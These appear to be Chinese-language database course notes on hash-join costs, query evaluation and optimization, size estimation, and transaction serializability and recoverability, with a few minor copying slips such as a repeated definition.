对于4KB块大小,2MB内存足以处理<1GB的关系
-
12MB内存足以处理<36GB的关系
Handing overflows¶
哈希表溢出发生在分区\(Hs_i\)中,如果\(Hs_i\)不适合内存。发生这种情况的原因有:
- 许多元组在\(s\)中具有相同的连接属性值(分区不均匀)
- 哈希函数不良,导致数据分布不均
解决方案:
- 通常选择\(f_h\)为"调整因子",大约1.2,来确定分区数量
- 溢出处理(递归分区)可以在构建阶段完成:
- 分区\(Hs_i\)进一步使用不同的哈希函数进行分区
- 分区\(Hr_i\)必须同样分区
- 溢出避免(避免溢出)在构建过程中谨慎执行分区:
- 例如,将构建关系分成许多分区,然后合并它们
- 如果出现大量重复项,两种方法都会失败:
- 备选方案:对溢出的连接属性值使用嵌套循环连接
Cost of Hash-Join¶
No recursive partitioning¶
当内存足够大,能够容纳至少一个分区时,哈希连接的成本是:
- 块传输次数:\(3(b_r + b_s) + 4 \times n_h\)
- 其中,\(n_h\) 是哈希函数的分区数
-
\(3(b_r + b_s)\) 包含:读取两个关系一次(构建哈希表)+ 写入两个关系的分区 + 读取所有分区(执行连接)
-
寻道次数:\(2(\lceil b_r/b_B \rceil + \lceil b_s/b_B \rceil) + 2n_h\)
- 读取关系 + 写入分区 + 读取分区
详细成本解释
块传输次数 \(3(b_r + b_s) + 4 \times n_h\) 的详细分解:
- 分区阶段: \(2(b_r + b_s)\) 块传输
-
写入分区: \(b_r + b_s\) 块
-
连接阶段: \(b_r + b_s\) 块传输
- 读取所有分区进行连接
-
部分填充块的开销: \(4 \times n_h\) 块传输
- 由于哈希分区可能导致部分填充的块
- 每个关系的每个分区可能有一个部分填充的块
- 每个分区需要写入和读取这些部分填充的块
- \(n_h\) 个分区 \(\times\) 2个关系 \(\times\) (读+写) = \(4 \times n_h\)
寻道次数 \(2(\lceil b_r/b_B \rceil + \lceil b_s/b_B \rceil) + 2n_h\) 的解释:
-
分区阶段: \(2(\lceil b_r/b_B \rceil + \lceil b_s/b_B \rceil)\) 寻道
- 假设输入缓冲区大小为 \(b_B\) 块
- 读取关系 \(r\) 需要 \(\lceil b_r/b_B \rceil\) 次寻道
- 读取关系 \(s\) 需要 \(\lceil b_s/b_B \rceil\) 次寻道
- 写入分区也需要相同数量的寻道
-
连接阶段: \(2n_h\) 寻道
- 每个关系的每个分区只需一次寻道,因为可以顺序读取
- \(n_h\) 个分区 \(\times\) 2个关系 = \(2n_h\) 次寻道
recursive partitioning¶
当内存较小,需要递归分区时:
- 递归分区的次数 \(s\) 是 \(\lceil \log_{M-1}(b_s) - 1 \rceil\),其中 \(b_s\) 是构建关系的块数
- 最好选择较小的关系作为构建关系
总成本估计为:
-
块传输次数:\(2(b_r + b_s)(\lceil \log_{M-1}(b_s) - 1 \rceil) + b_r + b_s\):读写每个关系 \(s\) 次 + 最后读取一次进行连接
-
寻道次数:\(2(\lceil b_r/b_B \rceil + \lceil b_s/b_B \rceil)(\lceil \log_{M-1}(b_s) - 1 \rceil)\)
best case¶
如果整个构建输入可以保存在主内存中(不需要分区):
- 成本降低为 \(b_r + b_s\)(最佳情况)
- 只需读取两个关系各一次
Other Operations¶
Duplicate Elimination¶
重复消除可以通过哈希或排序实现:
Sorting¶
- 排序关系r,使重复元组相邻
- 扫描排序后的关系:将当前元组与前一个元组进行比较,只在不同时输出当前元组
- 优化:可以在外部排序-合并的运行生成阶段以及中间合并步骤中删除重复项
Hashing¶
- 将元组哈希到不同的桶中,重复元组会进入相同的桶
- 在每个桶内识别并消除重复项
成本(排序方法)= 排序关系的成本(如果关系已排序,则跳过此步骤)+ 关系扫描成本(\(b_r\) 个块传输 + 1 次寻道)
Projection¶
投影操作包含两个步骤:
- 对每个元组执行属性投影
- 进行重复消除(除非我们知道不会有重复)
如果只投影少量属性,生成的关系可能比原始关系小很多,这可以显著减少后续重复消除的成本。
Set Operations (\(\cup\), \(\cap\), \(-\))¶
集合操作(\(\cup\), \(\cap\), \(-\))可以通过排序后的归并连接变体或哈希连接变体实现。
基于排序的集合操作¶
- 对两个关系按照相同的排序键进行排序
- 同时扫描两个排序后的关系,类似于归并连接
- 根据不同的集合操作执行相应的处理:
- 并集(\(\cup\)):输出两个关系中的所有元组,但重复元组只输出一次
- 交集(\(\cap\)):只输出同时出现在两个关系中的元组
- 差集(\(-\)):只输出在第一个关系中但不在第二个关系中的元组
基于哈希的集合操作¶
- 使用相同的哈希函数对两个关系进行分区,创建 \(r_1\), \(r_2\), ..., \(r_n\) 和 \(s_1\), \(s_2\), ..., \(s_n\)
- 对每个分区 \(i\) 进行如下处理:
- 使用不同的哈希函数,在将 \(r_i\) 加载到内存后为其构建内存中的哈希索引
- 根据不同的集合操作处理 \(s_i\):
- 并集(\(r \cup s\)):将 \(s_i\) 中不在哈希索引中的元组添加到索引中,最后将哈希索引中的所有元组添加到结果中
- 交集(\(r \cap s\)):如果 \(s_i\) 中的元组已存在于哈希索引中,则将其输出到结果中
- 差集(\(r - s\)):对于 \(s_i\) 中的每个元组,如果它存在于哈希索引中,则从索引中删除;最后将哈希索引中剩余的元组添加到结果中
集合操作的成本分析与哈希连接或排序-归并连接类似,但通常更低,因为不需要连接匹配的元组。
Aggregation¶
聚合操作可以采用类似于重复消除的方式实现。
可以使用排序或哈希将同一组的元组聚集在一起,然后对每个组应用聚合函数。
在运行生成和中间合并期间,通过计算部分聚合值来合并同一组中的元组:
- 对于 count、min、max、sum:保持到目前为止在组中找到的元组的聚合值
- 当合并部分聚合值时,对于 count,将聚合值相加
- 对于 avg:保持 sum 和 count,并在最后用 sum 除以 count
排序和哈希方法的实现与重复消除类似,但在处理每个组时应用相应的聚合函数。
Outer Join¶
外连接(Outer Join)可以通过以下两种方式计算:
-
先计算内连接,然后添加空值填充的非参与元组
-
修改连接算法
修改归并连接计算外连接 \(r \, \overrightarrow{\bowtie} \, s\)¶
- 在 \(r \, \overrightarrow{\bowtie} \, s\) 中,非参与元组是指在 \(r - \Pi_{r}(r \bowtie s)\) 中的元组
- 修改归并连接计算 \(r \, \overrightarrow{\bowtie} \, s\):在归并过程中,对于来自 \(r\) 的每个元组 \(t_r\),如果在 \(s\) 中没有匹配的元组,则输出 \(t_r\) 与空值填充的结果
- 右外连接和全外连接可以类似地计算
修改哈希连接计算外连接 \(r \, \overrightarrow{\bowtie} \, s\)¶
- 如果 \(r\) 是探测关系,输出未匹配的 \(r\) 元组与空值填充
- 如果 \(r\) 是构建关系,在探测阶段跟踪哪些 \(r\) 元组匹配了 \(s\) 元组。在探测结束时,输出未匹配的 \(r\) 元组与空值填充
Exaluation of Expressions¶
Materialized Evaluation¶
物化求值是一种逐步求值表达式的方法,从最底层操作开始,一次计算一个操作。
具体步骤:
- 从关系代数表达式的最底层操作开始
- 将每个操作的结果物化(materialized)到临时关系中
- 使用这些临时关系来计算下一级操作
例如,对于表达式 \(\Pi_{A}(\sigma_{C}(r \bowtie s))\):
- 首先计算 \(temp1 = r \bowtie s\)
- 然后计算 \(temp2 = \sigma_{C}(temp1)\)
- 最后计算 \(result = \Pi_{A}(temp2)\)
物化求值的特点
- 物化求值总是适用的
- 将结果写入磁盘并重新读取的成本可能相当高
- 我们对操作的成本公式忽略了将结果写入磁盘的成本
- 因此,总体成本 = 各个操作成本之和 + 将中间结果写入磁盘的成本
改进方法:
- 双缓冲(Double buffering) :为每个操作使用两个输出缓冲区,当一个缓冲区满时将其写入磁盘,同时另一个缓冲区正在填充
- 这允许磁盘写入与计算重叠,从而减少执行时间
Pipelining¶
流水线求值(Pipelining)是一种同时执行多个操作的方法,将一个操作的结果直接传递给下一个操作,而不需要物化中间结果。
具体特点:
- 多个操作同时执行,形成一个处理流水线
- 一个操作的输出直接成为下一个操作的输入
- 避免了将中间结果写入磁盘的开销
- 减少了 I/O 操作和存储需求
例如,对于表达式 \(\Pi_{A}(\sigma_{C}(r \bowtie s))\): - 连接操作产生的元组直接传递给选择操作 - 选择操作的结果直接传递给投影操作 - 整个过程中不需要创建完整的中间关系
流水线求值的优势
- 比物化求值便宜得多:不需要将临时关系存储到磁盘
- 流水线处理可能并不总是可行(取决于下一个操作的类型,以及输出是否已排序等)
- 为了使流水线处理有效,需要使用能够在接收输入元组的同时生成输出元组的评估算法
流水线可以通过两种方式执行:
- 需求驱动(Demand Driven) :从上层操作开始,向下层操作请求数据
- 生产者驱动(Producer Driven) :从底层操作开始,将结果推送到上层操作
Iterator Model¶
迭代器模型是实现流水线处理的一种常见方法,它为每个关系代数操作符定义了三个主要函数:
-
Open() - 初始化操作
- 例如,文件扫描:初始化文件扫描,将文件开头的指针存储为状态
- 例如,合并连接:对关系进行排序,并将排序后关系的开头指针存储为状态
-
Next() - 获取下一个元组
- 例如,文件扫描:输出下一个元组,并前进和存储文件指针
- 例如,合并连接:从之前的状态继续合并,直到找到下一个输出元组,将指针保存为迭代器状态
-
Close() - 清理资源
这种模型允许操作符以统一的方式进行交互,使得流水线处理变得简单高效。上层操作符通过调用下层操作符的Next()函数来获取输入数据,从而形成一个需求驱动的流水线。
Query Optimization¶
约 3761 个字 4 张图片 预计阅读时间 13 分钟
Transformation of Relational Expressions¶
Definition
Two relational expressions are said to be equivalent if the two expressions generate the same set of tuples on every legal database instance.
- The order of tuples is irrelevant.
- we don't care if they generate different results on databases that violate integrity constraints
即我们只关心查询在正确的数据库状态下的行为,而不需要考虑它在错误状态下的表现。
** An equivalence rule says that expressions of two forms are equivalent **
Equivalence Rules
合取式可以分解为多个选择运算符
选择运算符可以交换
连续投影,只有最后一个投影需要应用
e.g. \(\Pi_{A,B}(\Pi_{A,B,C,D}(R)) = \Pi_{A,B}(R)\)
选择操作可以和笛卡尔积和theta连接操作合并
自然连接和theta连接可以交换
自然连接有结合律
theta连接有结合律,其中\(\theta_2\)只包含\(S\)和\(T\)的属性
theta连接有分配律,假设\(\theta_0\)只包含\(R\)的属性
theta连接有分配律,假设\(\theta_1\)只包含\(S\)的属性,\(\theta_2\)只包含\(T\)的属性
简单来说,就是先选后连接还是先连接后选,一般来说,先选后连接的效率更高。
投影操作的分配律,假设\(\theta\)只包含\(L_1\)和\(L_2\)的属性
先投影再连接,和先连接再投影,结果是一样的。
投影操作的分配律,考虑以下条件
- \(L_1\) 和 \(L_2\) 是 \(R\) 和 \(S\) 的属性
- \(L_{1a}\) 是 \(R\) 的属性,在\(\theta\)中,但不在 \(L_1 \cup L_2\) 中
- \(L_{1b}\) 是 \(S\) 的属性,在\(\theta\)中,但不在 \(L_1 \cup L_2\) 中
先将参与连接的属性投影出来,再进行连接,最后再提取需要的属性。结果和先连接再投影是一样的。
集合的交和并操作可交换
集合的交和并操作可结合
选择操作可在集合运算上分配,如果\(F\)包含\(R\)和\(S\)的元组
对于 \(\cap\) 和 \(\setminus\) 也成立
如果\(F\)只包含\(R\)的元组,则
对于 \(\setminus\) 也成立,但是对于 \(\cup\) 不成立
Eg
E1 = {a, b},E2 = {c, d},\(\theta\): 只保留a
结果不同
投影操作可分配
Statistics for Cost Estimation¶
统计信息
- \(n_r\): 关系 \(r\) 中的元组数量
- \(b_r\): 包含关系 \(r\) 元组的块数量
- \(l_r\): 关系 \(r\) 中一个元组的大小
- \(f_r\): 关系 \(r\) 的阻塞因子 — 即一个块中能容纳的 \(r\) 的元组数量 tuples per block
- \(V(A, r)\): 在关系 \(r\) 的属性 \(A\) 上出现的不同值的数量;等同于 \(\Pi_A(r)\) 的大小
-
如果关系 \(r\) 的元组在物理上存储在一个文件中,则:
\[ b_r = \lceil \frac{n_r}{f_r} \rceil \]
Histograms¶
Equi-width histograms¶
等宽直方图将值域划分为相同宽度的区间。每个区间的宽度相同,但每个区间内的元组数量可能差异很大。
特点:
- 所有区间的宽度相同
- 实现简单
- 对于数据分布不均匀的情况,可能导致某些区间元组数过多,某些区间元组数过少
- 容易受到极端值的影响
Equi-depth histograms¶
等深直方图将数据划分为包含相同元组数量的区间。每个区间包含大致相同数量的元组,但区间宽度可能不同。
特点:
- 所有区间包含大致相同数量的元组
- 对于偏斜数据分布有更好的适应性
- 提供更准确的选择率估计
- 计算成本比等宽直方图高
- 在数据更新时可能需要重新计算区间边界
Selection Size Estimation¶
选择操作的大小估计是查询优化中的关键步骤,它帮助优化器评估不同执行计划的成本。
\(\sigma_{A=v}(r)\)¶
对于等值选择操作 \(\sigma_{A=v}(r)\),其结果大小估计为:
- 如果 \(A\) 是 \(r\) 的主键:结果大小为 1 或 0
- 如果 \(A\) 不是主键:结果大小约为 \(\frac{n_r}{V(A,r)}\),假设每种值的个数一样来估计,即其均匀分布在\(V(A,r)\)个值中,v值的概率为\(\frac{1}{V(A,r)}\),所以结果大小为\(n_r \times \frac{1}{V(A,r)}\)
\(\sigma_{A \leq v}(r)\)¶
对于范围选择操作 \(\sigma_{A \leq v}(r)\),如果没有可用的直方图信息:
- 假设值均匀分布,结果大小估计为:\(n_r \cdot \frac{v - \min(A,r)}{\max(A,r) - \min(A,r)}\)
-
其中 \(\min(A,r)\) 和 \(\max(A,r)\) 分别是属性 \(A\) 在关系 \(r\) 中的最小值和最大值,这种估计方法采用了区间比例的方式
-
如果信息不够,则使用默认估计:\(\frac{n_r}{2}\)
Complex Selection Conditions¶
对于复杂的选择条件,我们需要估计多个条件组合的选择率。
Selectivity¶
Selectivity of \(\theta\) is the probability that a tuple in \(r\) satisfies \(\theta\).
- If \(s_r\) is the number of tuples in \(r\) that satisfy \(\theta\), then the selectivity is \(\frac{s_r}{n_r}\)
Estimation of Selectivity for Complex Conditions¶
- 合取条件(Conjunction):\(\sigma_{\theta_1 \land \theta_2 \land ... \land \theta_n}(r)\)
假设条件之间相互独立,估计结果元组数为:
其中 \(s_i\) 是满足条件 \(\theta_i\) 的元组数。
- 析取条件(Disjunction):\(\sigma_{\theta_1 \lor \theta_2 \lor ... \lor \theta_n}(r)\)
估计结果元组数为:
即选择率为1减去一个都没选到的概率
- 否定条件(Negation):\(\sigma_{\lnot\theta}(r)\)
估计结果元组数为:
独立性假设的局限
在实际数据中,属性之间通常存在相关性,独立性假设可能导致估计不准确。一些数据库系统会维护多列统计信息来处理这种情况。
Estimation of the Size of Joins¶
-
笛卡尔积
\(r \times s\) 包含 \(n_r \cdot n_s\) 个元组,每个元组大小为 \(s_r + s_s\) 字节。 -
无交集的连接
如果 \(R \cap S = \emptyset\),则 \(r \Join s\) 等价于 \(r \times s\)。
- 连接属性为主键
如果 \(R \cap S\) 是 \(R\) 的主键,则 \(s\) 中的每个元组至多与 \(r\) 中一个元组连接,
所以 \(r \Join s\) 的元组数不超过 \(s\) 的元组数。
- 连接属性为外键
如果 \(R \cap S\) 在 \(S\) 中是外键,引用 \(R\) 的主键,则 \(r \Join s\) 的元组数等于 \(s\) 的元组数。
反过来,如果 \(R \cap S\) 在 \(R\) 中是外键,引用 \(S\) 的主键,则结果等于 \(r\) 的元组数。
Example
查询 student \Join takes,其中 takes 表的 ID 是外键,引用 student 的主键。
因此结果正好有 \(n_{takes}\) 个元组。
- 如果 \(R \cap S = \{A\}\) 不是 \(R\) 或 \(S\) 的主键,
假设 \(R\) 中每个元组都能和 \(S\) 中 \(A\) 值相等的元组连接,
则 \(r \Join s\) 的元组数估计为:
即\(S\)中A每一种值大概有\(n_s/V(A, s)\)个元组,\(R\)中每个关系来匹配这些元组,所以结果为\(n_r \cdot n_s/V(A, s)\)
- 如果反过来(\(A\) 在 \(R\) 中的不同值更少),则估计为:
- 取这两个估计值中**较小的那个**,通常更准确。
如果有直方图,则可以对每个区间分别用类似公式估计,然后加总,得到更准确的结果。
Example
让我们看一个具体的例子:
student表有 5000 条记录,每个块存储 50 条记录,共需要 100 个块takes表有 10000 条记录,每个块存储 25 条记录,共需要 400 个块ID在takes表中有 2500 个不同值,意味着平均每个学生选修了 4 门课程ID在student表中有 5000 个不同值(是主键)-
takes表中的ID是引用student表的外键 假设我们要计算student ⋈ takes的大小估计,但不使用外键信息: -
假设
V(ID, takes) = 2500,V(ID, student) = 5000 - 两种估计方式:
- \(\frac{n_{student} \cdot n_{takes}}{V(ID, takes)} = \frac{5000 \cdot 10000}{2500} = 20000\)
- \(\frac{n_{student} \cdot n_{takes}}{V(ID, student)} = \frac{5000 \cdot 10000}{5000} = 10000\)
- 我们选择较小的估计值 10000,这与使用外键信息得到的结果相同
Size Estimation for other operations¶
-
投影操作:\(\Pi_A(r)\) 的估计大小为 \(V(A, r)\)
- 因为投影操作会去除重复元组,结果大小取决于属性的不同值数量
-
聚合操作:\(_{A}G_F(r)\) 的估计大小为 \(V(A, r)\)
- 因为按 A 分组后,每个不同的 A 值对应一个结果元组
-
外连接操作:
- 左外连接:\(r\) leftouterjoin \(s\) 的估计大小为 \(r \bowtie s\) 的大小加上 \(r\) 中不能连接的元组数量,即 \(size(r \bowtie s) + size(r)\)
- 右外连接:\(r\) rightouterjoin \(s\) 的估计大小为 \(r \bowtie s\) 的大小加上 \(s\) 中不能连接的元组数量,即 \(size(r \bowtie s) + size(s)\)
- 全外连接:\(r\) fullouterjoin \(s\) 的估计大小为 \(size(r \bowtie s) + size(r) + size(s)\)
-
集合操作:
- 对于同一关系上的选择条件的并/交集:可以重写为单个选择然后使用选择大小估计
- 例如,\(\sigma_{\theta_1 \lor \theta_2}(r)\) 可重写为 \(\sigma_{\theta_1}(r) \cup \sigma_{\theta_2}(r)\)
- 对于不同关系上的操作:
- \(r \cup s\) 的估计大小为 \(size(r) + size(s)\)(上界估计)
- \(r \cap s\) 的估计大小为 \(min(size(r), size(s))\)(上界估计)
- \(r - s\) 的估计大小为 \(size(r)\)(上界估计)
- 所有这些估计可能不太准确,但提供了操作结果大小的上界
- 对于同一关系上的选择条件的并/交集:可以重写为单个选择然后使用选择大小估计
Estimation of Number of Distinct Values)¶
Selection¶
-
等值选择:\(\sigma_{A=v}(r)\)
- 如果选择条件强制 A 取特定值(如 A=3),则 \(V(A, \sigma_{A=v}(r)) = 1\)
-
值集合选择:\(\sigma_{A \in \{v_1, v_2, ..., v_n\}}(r)\)
- 如果选择条件强制 A 取特定值集合中的值,则 \(V(A, \sigma_{A \in \{...\}}(r)) = n\)(集合中值的数量)
- 例如,\(\sigma_{A=1 \lor A=3 \lor A=4}(r)\) 中 \(V(A) = 3\)
-
范围选择:\(\sigma_{A \, op \, v}(r)\)(其中op是比较操作符)
- 估计 \(V(A, \sigma_{A \, op \, v}(r)) = V(A, r) \times s\)
- 其中 \(s\) 是选择的选择率(selectivity)
-
其他情况:
- 使用近似估计:\(min(V(A, r), n_{\sigma_\theta(r)})\)
- 即取属性在原关系中的不同值数量和选择结果大小中的较小值
Join¶
-
属性全部来自一个关系:
- 如果 A 的所有属性都来自于关系 \(r\),则 \(V(A, r \bowtie s) = min(V(A, r), n_{r \bowtie s})\)
- 也就是说,不会超过原关系中的不同值数量和连接结果大小
-
属性来自多个关系:
- 如果 A 包含来自 \(r\) 的属性 A1 和来自 \(s\) 的属性 A2,则:
- \(V(A, r \bowtie s) = min(V(A1, r) \times V(A2, s), V(A1-A2, r) \times V(A2, s), V(A1, r) \times V(A2-A1, s), n_{r \bowtie s})\)
公式解释
\(V(A1, r) \times V(A2, s)\):
- 假设A1和A2中的值完全独立
- 例如:如果A1有10个不同值,A2有5个不同值,最多可能有10×5=50个不同组合
\(V(A1-A2, r) \times V(A2, s)\):
- A1-A2表示A1中不在A2中的属性
- 考虑了A1和A2可能有重叠属性的情况
- 只计算A1中独有属性与A2所有属性的组合
\(V(A1, r) \times V(A2-A1, s)\):
- A2-A1表示A2中不在A1中的属性
- 与前一项类似,但从另一个角度考虑
- 计算A1所有属性与A2中独有属性的组合
\(n_{r \bowtie s}\):
- 连接结果的总元组数
- 这是一个上界,因为不同值数量不能超过元组总数
Other¶
-
投影操作:
- \(V(A, \Pi_{A}(r)) = V(A, r)\)
- 投影不会改变属性的不同值数量
-
分组聚合操作:
- 对于分组属性,不同值数量不变
- 对于聚合值:
- 对于 MIN/MAX 函数,不同值数量估计为 \(min(V(A, r), V(G, r))\),其中 G 是分组属性
- 对于其他聚合(SUM, AVG, COUNT等),假设所有结果值都不同,使用 \(V(G, r)\)
这些估计方法提供了查询优化器所需的基本统计信息,虽然有时可能不够准确,但在实际应用中通常足够指导查询优化器选择合理的执行计划。
Choice of Evaluation Plans¶
在查询优化中,选择合适的查询评估计划是关键步骤。这不仅涉及各个操作的执行成本估计,还需要考虑操作之间的交互关系。
-
单独优化的陷阱:为每个操作独立选择最便宜的算法,可能不会产生全局最优的查询计划
-
考虑交互作用的例子:
- Merge-join可能比Hash-join成本高,但它能提供已排序的输出,可能减少上层聚合操作的成本
- Nested-loop join可能提供流水线执行(pipelining)的机会,减少中间结果的物化成本
实际的查询优化器通常结合以下两种方法:
-
基于成本的搜索:
- 搜索所有可能的计划,基于成本模型选择最佳计划
- 全面但计算开销大
-
基于启发式的选择:
- 使用启发式规则快速缩小搜索空间
- 速度快但可能错过全局最优解
Cost-Based Optimization¶
-
连接操作数量增长:对于n个关系的连接 \(r_1 \bowtie r_2 \bowtie \ldots \bowtie r_n\)
- 不同连接顺序的数量为 \((2(n-1))!/(n-1)!\)
- 当n=7时,有665,280种不同顺序
- 当n=10时,超过1760亿种顺序
-
动态规划解决方案:
- 不需要生成所有可能的连接顺序
- 使用动态规划,任何子集 \(\{r_1, r_2, \ldots, r_m\}\) 的最佳连接顺序只需计算一次
- 结果存储起来供后续使用,显著减少计算量
Transaction¶
约 3190 个字 12 张图片 预计阅读时间 11 分钟
Transaction
A transaction is a unit of program execution that accesses and possibly updates various data items. To preserve the integrity of data, the database system must ensure:
ACID properties:
- Atomicity : 原子性,一个事务,要么全部执行,要么全部不执行。
- Consistency : 一致性,事务执行前后,数据库的状态必须满足一致性约束。
- Isolation : 隔离性,一个事务的执行,不受其他事务的干扰。对于任意一对事务\(T_i\)和\(T_j\),要么\(T_i\)在\(T_j\)之前执行,要么\(T_i\)在\(T_j\)之后执行。
- Durability : 持久性,一个事务一旦提交,其结果必须永久保存,即使系统崩溃,也不会丢失。
Transaction State¶
事务有以下四个阶段
- Active : 事务正在执行。
- Partially Committed : 事务的最后一个操作已经执行,等待提交,此时要输出的结果数据可能还在内存buffer中。
- Failed : 事务执行失败。
- Aborted : 事务被撤销,数据库恢复到事务开始前的状态。事务被中止后有两个选择:
- 重启事务:只有在没有内部逻辑错误的情况下才能进行
- 终止事务:彻底放弃事务的执行
- Committed : 事务执行成功。
Implementation of A & D¶
数据库系统的恢复管理组件(Recovery Manager, RM)实现了对原子性(Atomicity)和持久性(Durability)的支持。
Shadow-Database Scheme¶
这是一种简单但效率不高的方案:
- 一个名为
db_pointer的指针始终指向当前一致的数据库副本 - 所有更新都在新创建的数据库副本上进行
- 原始副本(即影子副本)保持不变,由
db_pointer指向
如果事务中止(Abort):
- 只需删除新副本即可
如果事务提交(Commit):
- 将新副本的所有内存页面写入磁盘(在Unix系统中,使用flush命令)
- 将
db_pointer更改为指向新副本,使其成为当前副本 - 同时删除旧副本
这种方法确保了即使在系统崩溃的情况下,数据库也能保持一致状态,从而实现了原子性和持久性。
这种方法需要db_pointer的原子性,并且不能有并发,磁盘也不能fail;对于text editor,这种方案很常用,但是对于大型的数据库系统,这种方法的效率很低。
Concurrent Executions¶
数据库系统允许多个事务并发运行。并发执行的优势包括:
- 提高处理器和磁盘利用率,增加事务吞吐量:一个事务可以使用CPU,而另一个事务同时进行磁盘读写操作。
- 减少事务的平均响应时间:短事务不需要在长事务后面等待。
问题:尽管每个单独的事务都是正确的,但并发可能会破坏一致性(如并发售票问题)。
并发控制方案 - 实现隔离性的机制,即控制并发事务之间的交互,防止它们破坏数据库的一致性。 - 这是DBMS的重要工作
Schedules
调度(Schedules)是指示并发事务的指令按照时间顺序执行的序列。
对于一组事务的调度必须包含所有事务的所有指令。
调度必须保持每个单独事务中指令出现的顺序。
一些看起来不是串行调度和某些串行调度是等价的,一些就不行
在这里,schedule4就不是串行等价的,使用这种调度执行两个事务之后,A+B的结果发生了改变;
Serializability¶
基本假设:每个事务都能保持数据库的一致性。因此,一组事务的串行执行也能保持数据库的一致性。
可串行化定义:如果一个(可能是并发的)调度与某个串行调度等价,则称该调度是可串行化的。
根据调度等价的不同形式,可串行化分为两种主要类型:
-
冲突可串行化(Conflict serializability)
- 基于操作之间的冲突关系
- 如果通过交换非冲突操作的顺序,可以将并发调度转换为串行调度,则该调度是冲突可串行化的
-
视图可串行化(View serializability)
- 基于事务"看到"的数据库状态
- 比冲突可串行化更宽松,但计算成本更高
首先,将事务操作简化,只考虑读写操作,忽略其他操作。
Conflict Serializability¶
冲突操作
指令 \(I_i\) 和 \(I_j\) 分别来自事务 \(T_i\) 和 \(T_j\),当且仅当满足以下条件时它们发生冲突:
- 它们来自不同的事务
- 它们访问相同的数据项 Q
- 至少有一个指令是写操作
具体的冲突情况:
- \(I_i = \text{read}(Q)\), \(I_j = \text{read}(Q)\):不冲突
- \(I_i = \text{read}(Q)\), \(I_j = \text{write}(Q)\):冲突
- \(I_i = \text{write}(Q)\), \(I_j = \text{read}(Q)\):冲突
- \(I_i = \text{write}(Q)\), \(I_j = \text{write}(Q)\):冲突
直观上,两个操作之间的冲突会强制它们之间存在一个(逻辑)时间顺序。如果 \(I_i\) 和 \(I_j\) 在调度中是连续的且它们不冲突,那么即使在调度中交换它们的位置,结果也会保持不变。即不冲突交换仍不冲突,冲突不可交换;
Conflict Serializability
如果一个调度 \(S\) 可以通过一系列非冲突指令的交换转换为另一个调度 \(S'\),则称这两个调度是冲突等价的。
如果一个调度与某个串行调度冲突等价,则称该调度是冲突可串行化的。
这里Schedule3和Schedule4是冲突等价的,因为\(T_2\)的Read(A)和Wirte(A)与\(T_1\)的Read(B)和Write(B)不冲突,可以交换顺序;
这里就不是冲突等价的,因为不能再\(T_3\)读之前\(T_4\)写\(Q\),也不能先\(T_3\)写\(Q\)再\(T_4\)写\(Q\),所以这个Schedule既不等价于<T3,T4>,也不等价于<T4,T3>;
View Serializability¶
视图等价
如果两个调度 \(S\) 和 \(S'\) 满足以下条件,则它们是视图等价的:
-
首读:对于任何数据项 Q,如果事务 \(T_i\) 在 \(S\) 中第一个读取 Q 的初始值,那么 \(T_i\) 也在 \(S'\) 中第一个读取 Q 的初始值
-
写读:对于任何数据项 Q,如果事务 \(T_i\) 在 \(S\) 中读取 Q 的值,这个 Q 的值是被 \(T_j\) 写过的,那么再 \(S'\) 中 \(T_i\) 必须读取 \(Q\) 的值是被 \(T_j\) 写过的值
-
末写:对于任何数据项 Q,如果事务 \(T_i\) 在 \(S\) 中最后写入 Q 的值,那么 \(T_i\) 也在 \(S'\) 中最后写入 Q 的值
View Serializability
如果一个调度 \(S\) 可以通过一系列非冲突指令的交换转换为另一个调度 \(S'\),则称这两个调度是冲突等价的。
如果一个调度与某个串行调度冲突等价,则称该调度是冲突可串行化的。
这里无法通过冲突等价到任何串行调度,但是通过视图等价可以等价为<T27,T28,T29>;
Idea
视图可串行化(View Serializability)是比冲突可串行化(Conflict Serializability)更宽松的条件。所有冲突可串行化的调度都是视图可串行化的,但反之则不成立。
盲写(Blind Write)
盲写是指事务对数据项进行写操作,但在此之前没有读取该数据项。即事务直接覆盖了数据项的值,而不关心其原始值。
重要结论:每个视图可串行化但不是冲突可串行化的调度都包含盲写操作。
在上面的例子中:
- T28 和 T29 都是盲写,它们在写入之前没有进行任何读操作
- T29 的写操作覆盖了T28 和T27 的写操作,但是这没有任何冲突,因为T27和T28的写入并没有被读取;
这种情况下,如果没有盲写,那么视图可串行化的调度必定也是冲突可串行化的。
Other Notions of Serializability¶
这个调度既不是冲突可串行化的,也不是视图可串行化的,但是它却是与先T1后T5的串行调度等价的;
Recoverability¶
可恢复调度(Recoverable Schedule)
如果一个调度 \( S \) 满足以下条件,则称其为可恢复调度(Recoverable Schedule):
对于调度中的每个事务 \( T_i \),如果 \( T_i \) 读取了一个由事务 \( T_j \) 写入的数据项,那么 \( T_i \) 的提交操作必须出现在 \( T_j \) 的提交操作之后。
在给定的调度中,如果 \( T_9 \) 在读取后立即提交,而 \( T_8 \) 随后中止,那么 \( T_9 \) 可能已经读取并显示了一个不一致的数据库状态。因此,数据库必须确保调度是可恢复的,以避免这种不一致。
Cascade Rollback¶
级联回滚是指一个事务失败会导致一系列事务的回滚。在给定的调度中,如果 \( T_{10} \) 失败,那么 \( T_{11} \) 和 \( T_{12} \) 也必须回滚。这可能导致大量工作的撤销。
Cascade-Free Schedule¶
无级联调度是指级联回滚不会发生。对于每对事务 \( T_i \) 和 \( T_j \),如果 \( T_j \) 读取了由 \( T_i \) 写入的数据项,那么 \( T_i \) 的提交操作必须出现在 \( T_j \) 的读取操作之前。
每个无级联调度也是可恢复的。限制调度为无级联调度是理想的。
Implementation of isolation¶
-
一种只允许一个事务一次执行的策略会生成串行调度,但这提供了较差的并发度。为了保证数据库的一致性,调度必须是冲突可串行化或视图可串行化的,并且是可恢复的,最好是无级联的。
-
并发控制方案需要在允许的并发量和产生的开销之间进行权衡。一些方案只允许生成冲突可串行化的调度,而其他方案则允许生成不是冲突可串行化的视图可串行化调度。
-
这种权衡是数据库系统设计中的一个核心考虑因素,因为它直接影响到系统的性能和数据一致性。高并发性能够提高系统吞吐量,但可能增加维护数据一致性的复杂性和开销。
Transaction Definition in SQL¶
在SQL中,数据操作语言必须包含一个用于指定组成事务的一组操作的结构。
SQL Transaction¶
在SQL中,事务是隐式开始的。当执行第一个SQL语句时,系统会自动开始一个新的事务。
SQL Transaction End¶
SQL中的事务可以通过以下方式结束:
-
提交工作(Commit work):
- 提交当前事务并开始一个新的事务
- 语法:
COMMIT;
-
回滚工作(Rollback work):
- 导致当前事务中止
- 语法:
ROLLBACK;
Implicit Commit¶
In almost all database systems, the default behavior is that each SQL statement is implicitly committed after successful execution. This means that each statement is treated as a separate transaction.
